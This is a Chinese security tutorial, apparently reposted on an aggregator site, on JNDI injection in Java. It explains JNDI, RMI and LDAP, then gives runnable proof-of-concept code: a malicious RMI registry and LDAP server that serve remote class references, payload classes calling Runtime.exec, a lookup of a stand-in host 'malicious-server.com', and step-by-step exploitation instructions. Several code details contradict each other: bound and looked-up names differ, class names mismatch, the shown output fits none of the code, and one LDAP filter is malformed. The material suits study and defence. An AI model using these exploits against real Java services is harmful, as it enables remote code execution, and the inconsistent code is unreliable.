【攻防技术系列】-- JNDI注入

news/2024/10/3 2:22:36

JNDI概念

首先第一个问题,什么是 JNDI?

JNDI (Java Naming and Directory Interface),是Java平台提供的一个API,它允许Java应用程序访问不同的命名和目录服务。简而言之,JNDI为Java应用提供了一种统一的方式来查询和访问外部资源,如数据库、文件系统、远程对象等。

虽然有点抽象,但我们现在至少知道它是一个API接口;

那Naming 和 Directory 是什么意思?

Naming

在JNDI中,Naming是指通过“名字”来访问资源的能力。应用程序可以使用JNDI来查找数据库连接、远程对象等,而无需知道这些资源的具体位置或细节。
名称服务普遍存在于计算机系统中,比如:

• DNS: 将易于记忆的域名(如 www.example.com)映射到IP地址,这使得用户无需记忆复杂的数字地址就能访问网站。• Active Directory (AD):允许管理员使用人类可读的名称来管理网络资源,如用户账户、计算机、打印机等。• 文件系统: 使用路径名(如 /home/user/document.txt 或 C:\Users\user\document.txt)来命名和访问文件和目录。

LDAP(Lightweight Directory Access Protocol),即轻量级目录访问协议,其名称(DN: Distinguished Name)从右到左进行逐级定义,也就是说,DN从右到左读取时,从最广泛的类别(如域)开始,逐步到达最具体的标识符(如一个特定的个人或对象),以下是一个DN示例:

cn=John,ou=users,dc=example,dc=com

上述定义即表示在 com下的example域中的users组织单位中查找 John 的对象,这种结构使得LDAP能够以一种层次化的方式组织和管理大量的信息,同时确保每个条目都可以被唯一且准确地定位。

    • Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。• Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)。• References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (文件描述符),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。 Reference 对象提供了一种方式来描述和重建对远程资源的引用,这正是 JNDI 注入攻击利用的核心机制。

Directory

在Java Naming and Directory Interface(JNDI)中,"Directory"是指一种提供比简单命名服务更丰富的功能的服务类型。目录服务不仅能够存储对象的名称(即命名服务),还能存储关于这些对象的详细信息(属性)。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。

以打印机服务为例,我们可以在命名服务中根据打印机名称去获取打印机对象(引用),然后进行打印操作;同时打印机拥有速率、分辨率、颜色等属性,作为目录服务,用户可以根据打印机的分辨率去搜索对应的打印机对象。

目录服务(Directory Service)提供了对目录中对象(directory objects)的属性进行增删改查的操作。一些典型的目录服务有:

• Network Information Service(NIS): NIS是一种用于集中管理Unix系统中用户账户和组信息的服务。它允许网络上的机器共享配置文件,如密码文件或主机文件• Active Directory (AD):以目录形式组织和存储关于网络对象的信息,如用户、计算机和组,并提供了对这些对象的管理和访问控制• Novell eDirectory: 一个跨平台的目录服务,提供了对用户、应用程序、设备和网络资源的身份和访问管理。它支持复杂的查询和分布式管理• 其他基于 LDAP 协议实现的目录服务;

总而言之,目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象,而不是简单的根据名称查找(lookup)去定位。

JNDI API

根据上面的介绍,我们知道命名服务允许应用通过易于理解的名称来访问资源,而不必关心资源的物理位置或具体实现。目录服务不仅提供了命名功能,还允许存储和访问关于对象的详细信息并且提供了丰富的查询功能,使得应用可以根据复杂的条件搜索和管理信息。

但在Java应用,特别是企业级应用的发展过程中,出现了一个核心需求:如何有效地管理和访问各种资源和服务。这些资源包括数据库连接、用户信息、配置数据等,它们可能分布在不同的网络位置,由不同的系统或协议管理。为了满足企业应用在命名和目录服务方面的需求,JNDI API应运而生。JNDI的目标是提供一个统一的接口,通过这个接口,Java应用可以与各种命名和目录服务交互,而无需关心这些服务的具体实现细节。

一张经典的架构图如下

我们从图中可以看到有一个JNDI SPI, SPI(Service Provider Interface)即服务供应接口,它是JNDI框架的扩展点,允许不同的命名和目录服务供应商将他们的实现接入到JNDI框架中。简单来说,SPI是一种机制,使得JNDI可以与多种不同的命名和目录服务进行交互,而不限于任何特定的服务实现。

1. 提供接口实现:JNDI SPI定义了一组接口,这些接口必须由命名和目录服务的供应商实现,以便它们的服务可以通过JNDI框架使用。2. 实现解耦:SPI使得JNDI的客户端代码(例如,应用程序使用JNDI来查找资源)与特定命名和目录服务的实现解耦。这意味着应用程序可以透明地访问任何遵循这些接口的服务。3. 扩展性:通过SPI,JNDI提供了极大的灵活性和扩展性。它可以支持多种服务,如LDAP、DNS、RMI服务等,这些服务只需遵循SPI所规定的接口。

JNDI中的关键包

关于 JNDI 中的不同包及其功能的更具体概述,它涵盖了JNDI框架的主要组成部分。先前的回答更侧重于解释JNDI的一般概念和SPI的作用。根据提供的信息来进一步详细解释这些包及其在JNDI中的作用。

    1. javax.naming这个包是JNDI中最核心的部分,提供了访问命名服务的基本类和接口。它包括了如Context、Name、NamingEnumeration等基础类,用于执行命名操作,如查找(lookup)、绑定(bind)、解除绑定(unbind)等。

    2. javax.naming.directory提供了对目录服务的支持,扩展了javax.naming包。这个包中的类和接口,如DirContext、Attributes,用于处理存储在目录服务中的复杂对象和其属性。

    3. javax.naming.event 用于处理命名和目录事件的通知。这个包允许应用程序监听和响应命名服务中发生的各种事件,例如对象的更改、添加或删除。

    4. javax.naming.ldap提供了专门用于LDAP(轻量级目录访问协议)服务的类和接口。这个包针对LDAP提供了特定的功能扩展,例如LDAP特有的搜索操作和属性处理。

    5. javax.naming.spi为服务提供商提供了实现JNDI接口的机制。这个包的目的是让不同的命名和目录服务供应商能够将他们的实现集成到JNDI框架中。

示例:使用JNDI访问远程打印服务

假设有一个远程打印服务注册在JNDI目录中,您可以使用JNDI API来查找并使用这个服务:

在这个例子中,InitialContext 类用于启动JNDI查找过程,lookup 方法用于根据名称找到远程打印服务的引用,并且通过这个引用调用打印服务。

Context ctx = new InitialContext();
PrintService ps = (PrintService) ctx.lookup("cn=RemotePrinter,ou=PrintServices,dc=example,dc=com");
ps.print(document);

JNDI SPI

本节主要介绍在 JDK 中内置的两个Service Provider,分别是 RMI和LDAP。这两个服务本身和 JNDI 没有直接的依赖,而是通过 SPI 接口实现了联系,所以接下来我们先了解一下这些服务。

RMI

RMI(Remote Method Invocation,远程方法调用)是Java中用于实现远程通信的一种机制。它允许在一个Java虚拟机(JVM)中的对象调用另一个JVM中对象的方法。RMI架构的设计允许客户端和服务器之间进行透明的通信。

一个简单的 RMI 架构主要由三部分组成,分别是接口定义、服务端实现和客户端调用。

在RMI架构中,接口定义是共享的协议,它规定了可供远程调用的方法。这些接口定义了可以从远程客户端访问的服务和操作

 import java.rmi.Remote;import java.rmi.RemoteException;public interface Hello extends Remote {// 这个方法可以被远程调用  String sayHello() throws RemoteException;}

服务端实现指的是具体实现了这些远程接口的类。这些实现了接口的类实际上定义了客户端可以远程调用的方法的具体行为,并将其注册到RMI注册表

import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class Server implements Hello {public Server() {}// Server 类实现了 Hello 接口public String sayHello() {return "Hello, world!";}public static void main(String args[]) {try {Server obj = new Server();// exportObject 方法用于导出远程对象,使其能够接收远程调用// 使用1098端口作为远程对象的通信端口,如果指定为0,则系统会自动选择一个可用的端口Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 1111);// 将远程对象的引用绑定到RMI注册表中的一个名称上,此例中为 "Hello"),1099端口通常用于运行RMI注册表Registry registry = LocateRegistry.getRegistry(1099);registry.bind("Hello", stub);System.err.println("Server ready");// 添加shutdown hook以解除绑定;会在JVM关闭时运行解除绑定;Runtime.getRuntime().addShutdownHook(new Thread(() -> {try {registry.unbind("Hello");System.err.println("Server unbound");} catch (Exception e) {System.err.println("Server unbinding exception: " + e.toString());e.printStackTrace();}}));} catch (Exception e) {System.err.println("Server exception: " + e.toString());e.printStackTrace();}}}

客户端调用是指客户端程序查找远程对象并调用其方法的过程。客户端使用RMI的查找功能通过网络定位远程对象,并调用其公开的方法

 import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Client {private Client() {}public static void main(String[] args) {try {// 获取RMI注册表实例Registry registry = LocateRegistry.getRegistry(1099);// 通过lookup查找并获取名称为 "Hello" 的远程对象Hello stub = (Hello) registry.lookup("Hello");// 调用远程对象的 sayHello 方法并输出结果String response = stub.sayHello();System.out.println("response: " + response);} catch (Exception e) {System.err.println("Client exception: " + e.toString());e.printStackTrace();}}}

编译所有java文件:生成 out/{Client,Hello,Server}.class 文件

 $ javac -d out Client.java  Hello.java  Server.java  

启动RMI Registry:在含有编译后的类文件的目录下运行rmiregistry命令;RMI注册表默认监听在1099端口

 $ cd out $ rmiregistry

启动 RMI 服务器: 将导出远程对象并将它们注册到RMI注册表,会监听指定的 1111 端口,用于客户端调用具体方法

 # 回到工程所在路径,即out同目录 $ java -cp out Server Server ready 

启动客户端:连接到RMI注册表,查询远程对象并调用它的方法

$ java -cp out Client response: Hello, world! 

❗需要注意的点:

• rmiregistry 程序运行在 out 目录下,也就是我们编译的输出路径;• rmiregistry 启动后可能会过一段时间后才真正开始监听端口;• 如果 Server 绑定后退出,那么绑定信息仍然残留在 rmiregistry 中,再次绑定会提示 java.rmi.AlreadyBoundException,因此 RMI 服务端退出前应该先解除绑定;• 远程调用的参数和返回值经过序列化后通过网络传输(marshals/unmarshals);

LDAP

LDAP(轻量级目录访问协议)是一种用于访问和维护目录服务的网络协议。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。目录服务与传统数据库的区别• 结构:LDAP目录服务是一种树状的数据库,主要用于保存描述性的、基于属性的信息。这种层次结构提供了优异的读性能。• 写性能:相比于传统数据库,LDAP写性能较差,且不支持复杂的事务处理和回滚功能,因此不适合存储经常变动的数据。

LDAP客户端示例:进行基本的搜索操作:


import org.apache.directory.ldap.client.api.LdapConnection;
import org.apache.directory.ldap.client.api.LdapNetworkConnection;
import org.apache.directory.ldap.client.api.LdapConnectionConfig;
import org.apache.directory.api.ldap.model.message.SearchScope;
import org.apache.directory.api.ldap.model.cursor.EntryCursor;
import org.apache.directory.api.ldap.model.entry.Entry;
import org.apache.directory.api.ldap.model.message.SearchRequest;
import org.apache.directory.api.ldap.model.message.SearchRequestImpl;
import org.apache.directory.api.ldap.model.name.Dn;public class LdapExample {public static void main(String[] args) {// LDAP服务器的地址和端口String ldapHost = "localhost";int ldapPort = 389;// 设置连接配置LdapConnectionConfig config = new LdapConnectionConfig();config.setLdapHost(ldapHost);config.setLdapPort(ldapPort);try (LdapConnection connection = new LdapNetworkConnection(config)) {// 连接到LDAP服务器connection.bind();// 创建搜索请求SearchRequest searchRequest = new SearchRequestImpl();searchRequest.setBase(new Dn("dc=example,dc=com"));searchRequest.setFilter("(objectClass=inetOrgPerson)");searchRequest.setScope(SearchScope.SUBTREE);// 执行搜索try (EntryCursor cursor = connection.search(searchRequest)) {// 遍历搜索结果for (Entry entry : cursor) {System.out.println(entry);}}// 断开连接connection.unBind();} catch (Exception e) {e.printStackTrace();}}
}

上述指定的过滤项称为属性,LDAP协议中常见的属性定义如下:

其中值得注意的是:

• DC: Domain Component,组成域名的部分,比如域名 example.com 的一条记录可以表示为 dc=example,dc=com,从右至左逐级定义;• DN: Distinguished Name,由一系列属性(从右至左)逐级定义的,表示指定对象的唯一名称;属性 type 和 value 使用等号分隔,每个属性使用逗号分隔。其他属性开发者可以自行添加,比如对于企业人员的记录可以添加工号、企业邮箱等属性

JNDI使用

所以JNDI作为一个通用的、统一的接口,它提供了一种标准化的方法来访问和使用基于Java的各种服务,但是不直接提供RMI或LDAP服务,而是提供了访问这些服务的标准方式。它充当了客户端应用程序和这些服务之间的中间层。通过使用JNDI,Java应用程序可以在不关心底层服务细节的情况下,统一地访问和操作这些服务。

JNDI和RMI• 使用JNDI,可以将RMI服务的引用(远程对象)绑定到一个命名服务(如RMI注册表),然后客户端可以通过JNDI查找这些远程对象,并进行远程方法调用。JNDI和LDAP• JNDI为访问和操作目录服务(如LDAP)提供了一套标准API。这使得Java应用能够连接到LDAP服务器,执行搜索、添加、删除和修改操作。
让我们再回首看看这张JNDI架构图:有没有觉得亲切一点?

JNDI注入初探

一、使用 JNDI 接口去查询 DNS 服务

Java的标准JNDI API并不直接支持DNS查询。相反,它提供了一个通用框架,您可能需要依赖第三方库(如dnsjava)来实际执行DNS查找

如果您使用Maven作为构建工具,可以在pom.xml文件中添加以下依赖:

<dependencies><dependency><groupId>dnsjava</groupId><artifactId>dnsjava</artifactId><version>2.1.9</version></dependency>
</dependencies>

客户端示例代码


import javax.naming.Context;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;public class DnsLookup {public static void main(String[] args) {// 设置DNS服务器的地址String dnsUrl = "dns://114.114.114.114";// 设置要查询的域名String domainToLookup = "example.com";// 设置JNDI环境参数Hashtable<String, String> env = new Hashtable<>();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");env.put(Context.PROVIDER_URL, dnsUrl);try {// 创建DirContext对象DirContext ctx = new InitialDirContext(env);// 执行DNS查询,查询A记录NamingEnumeration<?> namingEnum = ctx.getAttributes(domainToLookup, new String[]{"A"});while (namingEnum.hasMore()) {System.out.println(namingEnum.next());}namingEnum.close();} catch (NamingException e) {e.printStackTrace();}}
}

编译输出:


$ javac DNSClient.java
$ java DNSClient
{a=A: xx.xx.xx.xx}

二、使用 JNDI 接口去查询 LDAP服务

import javax.naming.Context;
import javax.naming.NamingEnumeration;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import java.util.Hashtable;public class LdapExample {public static void main(String[] args) {// LDAP服务器的地址String url = "ldap://localhost:389";// 要连接的LDAP目录的DN(Distinguished Name)String connDn = "cn=admin,dc=example,dc=com";// 要连接的LDAP目录的密码String password = "adminpassword";// 设置LDAP连接的环境变量Hashtable<String, String> env = new Hashtable<>();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");env.put(Context.PROVIDER_URL, url);env.put(Context.SECURITY_AUTHENTICATION, "simple");env.put(Context.SECURITY_PRINCIPAL, connDn);env.put(Context.SECURITY_CREDENTIALS, password);try {// 创建LDAP连接上下文DirContext ctx = new InitialDirContext(env);// 搜索配置SearchControls searchControls = new SearchControls();searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);// 进行搜索的基础DNString searchBase = "dc=example,dc=com";// 搜索过滤条件,例如搜索用户lulu;// objectClass=inetOrgPerson 确保搜索结果限于互联网组织人员对象,cn=lulu 进一步限制搜索结果只包括那些其常用名称(CN)属性为"lulu"的对象String searchFilter = "(&(objectClass=inetOrgPerson)(cn=lulu)";// 执行搜索NamingEnumeration<SearchResult> results = ctx.search(searchBase, searchFilter, searchControls);// 遍历搜索结果while (results.hasMore()) {SearchResult searchResult = results.next();System.out.println("Name: " + searchResult.getName());}// 关闭连接ctx.close();} catch (Exception e) {e.printStackTrace();}}
}

编译输出示例:

{mail=mail: lulu@example.org, userpassword=Password: [p@ssw0rd, objectclass=objectClass: inetOrgPerson, person, top, gn=gn: lulu, sn=sn: Wang, cn=cn: lulu}

动态协议切换 [重点]

前面我们看到初始化 JNDI 上下文主要使用环境变量实现:• INITIAL_CONTEXT_FACTORY: 指定初始化协议的工厂类;• PROVIDER_URL: 指定对应名称服务的 URL 地址;

在JNDI中,动态协议切换指的是在程序运行时,根据需要自动改变使用的协议或服务类型的能力。Context.lookup方法用于根据名称查找对象,这个名称可以包含一个URL,该URL指定了要使用的服务和协议,例如ldap://xxxrmi://xxx等。如果这个URL来自不可信的用户输入,攻击者可能会利用这一点来引发恶意行为。

动态协议切换示例代码

当ctx.lookup(name)被执行时,它将尝试连接到用户指定的URL,可能触发恶意行为。
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;public class JndiInjectionExample {// lookup方法接收一个字符串参数name,这个参数用于JNDI查找的名称public static void lookup(String name) {try {Hashtable<String, String> env = new Hashtable<>();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");Context ctx = new InitialContext(env);// 查找操作,其中name是外部输入Object obj = ctx.lookup(name);// 处理查找到的对象...} catch (Exception e) {e.printStackTrace();}}public static void main(String[] args) {// 假设这是一个外部输入,指向恶意服务器的urlString userInput = "ldap://malicious-server.com/exp";lookup(userInput);}
}

远程加载与执行

1. 恶意代码的托管:攻击者在恶意服务器上托管恶意代码。通常是一个Java类或对象,执行时能够触发攻击者想要的恶意行为。2. JNDI查找:在受影响的Java应用中,JNDI查找使用外部控制的输入;比如通过用户输入构建的url,而url指向了攻击者的恶意服务器(例如`ldap://malicious-server.com/exp),则应用将尝试连接到这个服务器。3. 远程类加载:如果Java的JNDI服务允许从LDAP或RMI服务加载Java类。当应用连接到攻击者的服务器时,恶意服务器响应这个JNDI查找请求,并提供恶意类的引用。4. 代码执行:当这个恶意类被加载到应用中时,其内含的恶意代码就会被执行。可能造成系统的破坏、数据泄露、反弹Shell等各种攻击行为。
以下是JDK中默认支持的一些JNDI服务类型及其对应的工厂类示例

JNDI注入应用

根据前面的介绍,我们知道基于 JNDI 的 lookup 内容如果用户可控,这样来使客户端访问恶意的RMI或者 LDAP服务来加载恶意的对象 从而执行代码完成利用;

JNDI注入之RMI

前面我们已经知道RMI的基本用法, 服务端可以绑定一个对象,在客户端进行那个查找的时候以序列化的方式返回;同时,也可以绑定一个对象的引用,让客户端去指定的地址获取对象;

攻击者构造的RMI恶意服务端

代码说明:演示了如何在 RMI 服务端创建一个恶意的 Reference 对象并通过 ReferenceWrapper 将其绑定到 RMI 注册表中。因为绑定的是Reference对象,客户端在本地CLASSPATH查找Exploit类,如果没有,则根据设定的Reference属性到URL http://localhost/EvilCClass.class 获取构造对象实例 构造方法中的恶意代码会被执行.
// ServerExp.java
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class ServerExp {public static void main(String args[]) {try {Registry registry = LocateRegistry.createRegistry(1099);// 定义一个 URL,指向恶意类的位置。这里假设恶意类托管在本地的 8000 端口上String factoryUrl = "http://localhost:8000/";// 三个参数的定义:// className 远程加载时所使用的类名// classFactory 加载的class中需要实例化的类的名称// classFactoryLocation 提供classes数据的地址[可以是file/ftp/http等协议]Reference reference = new Reference("test","test", factoryUrl);// 使用 ReferenceWrapper 对 Reference 对象进行封装。// 这是必要的,因为 Reference 本身不是一个远程对象,而 ReferenceWrapper 是ReferenceWrapper wrapper = new ReferenceWrapper(reference);// 在 RMI 注册表中绑定名称为 "Foo" 的对象。// 任何尝试查找这个名称的客户端都会接收到封装的 Reference 对象registry.bind("calc", wrapper);System.err.println("Server ready, factoryUrl:" + factoryUrl);} catch (Exception e) {System.err.println("Server exception: " + e.toString());e.printStackTrace();}}
}

恶意类EvilClass 的定义为:

// EvilClass.java
import java.lang.Runtime;public class EvilClass{public EvilClass() throws Exception{Runtime.getRuntime().exec("open -a Calculator");}
}

客户端

// JNDILookup.java
import javax.naming.InitialContext;
import javax.naming.NamingException;public class JNDILookup {public static void main(String[] args) {if (args.length != 1) {System.out.println("Usage: java JNDILookup <name>");return;}String nameToLookup = args[0];try {// 创建一个初始的JNDI上下文InitialContext context = new InitialContext();// 尝试查找指定名称的JNDI资源Object resource = context.lookup(nameToLookup);// 打印结果System.out.println("Resource found: " + resource);// 关闭JNDI上下文context.close();} catch (NamingException e) {e.printStackTrace();}}
}

要想达到JNDI注入的演示效果,需要遵从以下步骤:

步骤1: 新开窗口,准备恶意类 EvilClass

• 编译 EvilClass:• 将之前的 EvilClass 源代码保存为 EvilClass.java。• 使用 javac EvilClass.java 编译这个类,生成 EvilClass.class 文件。• 部署 EvilClass:• 在编译后的 EvilClass.class 同目录下启动一个http服务python3 -m http.server 8000 , 使这个类可以被访问

步骤 2: 新开窗口,设置并运行服务端

• 编译并运行服务端• 将RMI服务端代码保存为 ServerExp.java。• 使用 javac ServerExp.java 编译这个类,生成 ServerExp.class 文件。• 运行服务端程序:java ServerExp。这将在本地启动 RMI 服务,并绑定名为 "Foo" 的恶意 Reference 对象。

步骤 3: 新开窗口,运行客户端 JNDILookup

• 编译并运行客户端• 将客户端代码保存为 JNDILookup.java。• 使用 javac JNDILookup.java 编译这个类,生成 JNDILookup.class 文件。• 运行客户端程序,并指定 RMI 查找路径:java JNDILookup rmi://localhost/Foo。• 注意:确保 RMI 服务端已经启动,可以查看1099端口是否已经被rmi服务使用,并且 EvilClass 可以被访问。
 $ java JNDILookup rmi://localhost:1099/FooEvilClass: static blockEvilClass: IIB blockEvilClass: constructorEvilClass: getObjectInstanceret: null

JNDI注入之LDAP

我们可以通过LDAP服务来绕过 URLCodebase 实现远程加载,LDAP服务也能返回JNDI Reference对象,利用过程与jndi + RMI Reference

本一致,不同的是,LDAP服务中lookup方法中指定的远程地址使用的是LDAP协议,由攻击者控制LDAP服务端返回一个恶意jndi Reference对象,并且

LDAP服务的Reference远程加载Factory类并不是使用RMI Class Loader机制,因此不受trustURLCodebase限制。 利用之前,需要在这个网

站下载LDAP服务unboundid-ldapsdk-3.1.1.jar https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1

你也可以使用工具:https://github.com/mbechler/marshalsec

• 引入依赖
 <dependency><groupId>com.unboundid</groupId><artifactId>unboundid-ldapsdk</artifactId><version>3.1.1</version></dependency>
• 启动LDAP服务,JDAP_Server.java。其中设置我们的恶意对象类为EXP,Codebase为`http://127.0.0.1:8888/#EXP`
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;public class LDAP_Server {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] tmp_args ) {// 参数中的URL,指向恶意Java类String[] args=new String[]{"http://127.0.0.1:8888/#EXP"};int port = 9999;    // LDAP服务器监听的端口try {// 配置LDAP服务器InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));// 添加自定义操作拦截器config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}// 自定义的LDAP操作拦截器,用于修改LDAP服务器的响应private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;// 构造函数接收恶意代码的URLpublic OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {// 发送包含恶意Java类引用的搜索结果sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}// 构造并发送包含恶意代码引用的LDAP搜索结果protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
} 
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;// 定义一个名为EXP的类,它实现了ObjectFactory接口
public class EXP implements ObjectFactory {public EXP() throws Exception{try {// 当实例化EXP类时,尝试执行系统命令,本例子是打开系统的计算器应用Runtime.getRuntime().exec("open -a Calculator");} catch (IOException e) {e.printStackTrace();}}// 在JNDI查找中,此方法用于创建对象实例@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {// 方法不执行任何操作,直接返回null// 在实际的攻击场景中,这里可以包含更复杂的逻辑return null;}
}
import javax.naming.InitialContext;public class JNDI_LDAP {public static void main(String[]args) throws Exception{// 定义一个指向LDAP服务的URL,URL指向本地主机上的9999端口// 并查找名为EXP的资源String string = "ldap://localhost:9999/EXP";// 创建一个InitialContext对象,这是进行JNDI查找的起点InitialContext initialContext = new InitialContext();// 使用InitialContext对象的lookup方法来查找指定的URL// 尝试连接到LDAP服务器,并查找EXP资源initialContext.lookup(string);}
}

JNDI注入高版本限制

在我们利用Codebase攻击RMI服务的时候,如果想要根据Codebase加载位于远端服务器的类时,java.rmi.server.useCodebaseOnly的值必须为false。但是从JDK 6u457u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true

JNDI同样有类似的限制,在JDK 6u132, JDK 7u122, JDK 8u113之后Java限制了通过RMI远程加载Reference工厂类。com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类。如下所示

Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)at javax.naming.InitialContext.lookup(InitialContext.java:417)at JNDI_Dynamic.main(JNDI_Dynamic.java:7)Process finished with exit code 1

但是需要注意的是JNDI不仅可以从通过RMI加载远程的Reference工厂类,也可以通过LDAP协议加载远程的Reference工厂类,但是在之后的版本Java也对LDAP Reference远程加载Factory类进行了限制,在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值同样被修改为了false,对应的CVE编号为:CVE-2018-3149

原创 不懂安全

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/29279.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

[转]Cocos2dlua手游 Lua解密与资源解密实战

来自看雪:Cocos2dlua手游 Lua解密与资源解密实战 https://mp.weixin.qq.com/s/WeYxlXZvCPv_3nGgeKdunwCocos2dlua 逆向相关学习,略有删减,直接进入正文 APK大致如下:. ├── assets │ ├── res │ │ ├── ani │ │ │ └── logo │ │ │ …

Flink架构与原理

Flink集群运行剖析 Flink 运行时由两种类型的进程组成:一个 JobManager 和一个或者多个 TaskManager。 Client:Client是提交作业的客户端,虽然不是运行时和作业执行时的一部分,但它负责准备和提交作业到JobManager,它可以运行在任何机器上,只要与JobManager环境连通即可。…

Nexpose v6.6.250 for Linux Windows - 漏洞扫描

Nexpose v6.6.250 for Linux & Windows - 漏洞扫描Nexpose v6.6.250 for Linux & Windows - 漏洞扫描 Rapid7 Vulnerability Management, Release May 02, 2024 请访问原文链接:Nexpose v6.6.250 for Linux & Windows - 漏洞扫描,查看最新版。原创作品,转载请保…

Metasploit Pro 4.22.3-2024050201 (Linux, Windows) - 专业渗透测试框架

Metasploit Pro 4.22.3-2024050201 (Linux, Windows) - 专业渗透测试框架Metasploit Pro 4.22.3-2024050201 (Linux, Windows) - 专业渗透测试框架 Rapid7 Penetration testing, Release May 03, 2024 请访问原文链接:Metasploit Pro 4.22.3-2024050201 (Linux, Windows) - 专…

[转]vscode必备插件,美化、炫酷、实用-留着防丢

vscode必备插件,美化、炫酷、实用-留着防丢 - 知乎 (zhihu.com) https://zhuanlan.zhihu.com/p/112016680本篇文章只推荐看起来不错的插件,并不详细介绍插件的使用方法,插件的具体使用方法可以单独对其进行百度搜索。当然,有啥问题也可以在下面评论,但我觉得可以百度的地方…

应急响应web1

应急响应的过程 目的:分析攻击时间、攻击操作、攻击结果、安全修复等并给出合理的解决方案。 保护阶段:直接断网,保护现场,看是否能够恢复数据; 分析阶段:对入侵过程进行分析,常见的方法为指纹库搜索、日志时间分析、后门追查分析、漏洞检查分析等; 复现阶段:还原攻击…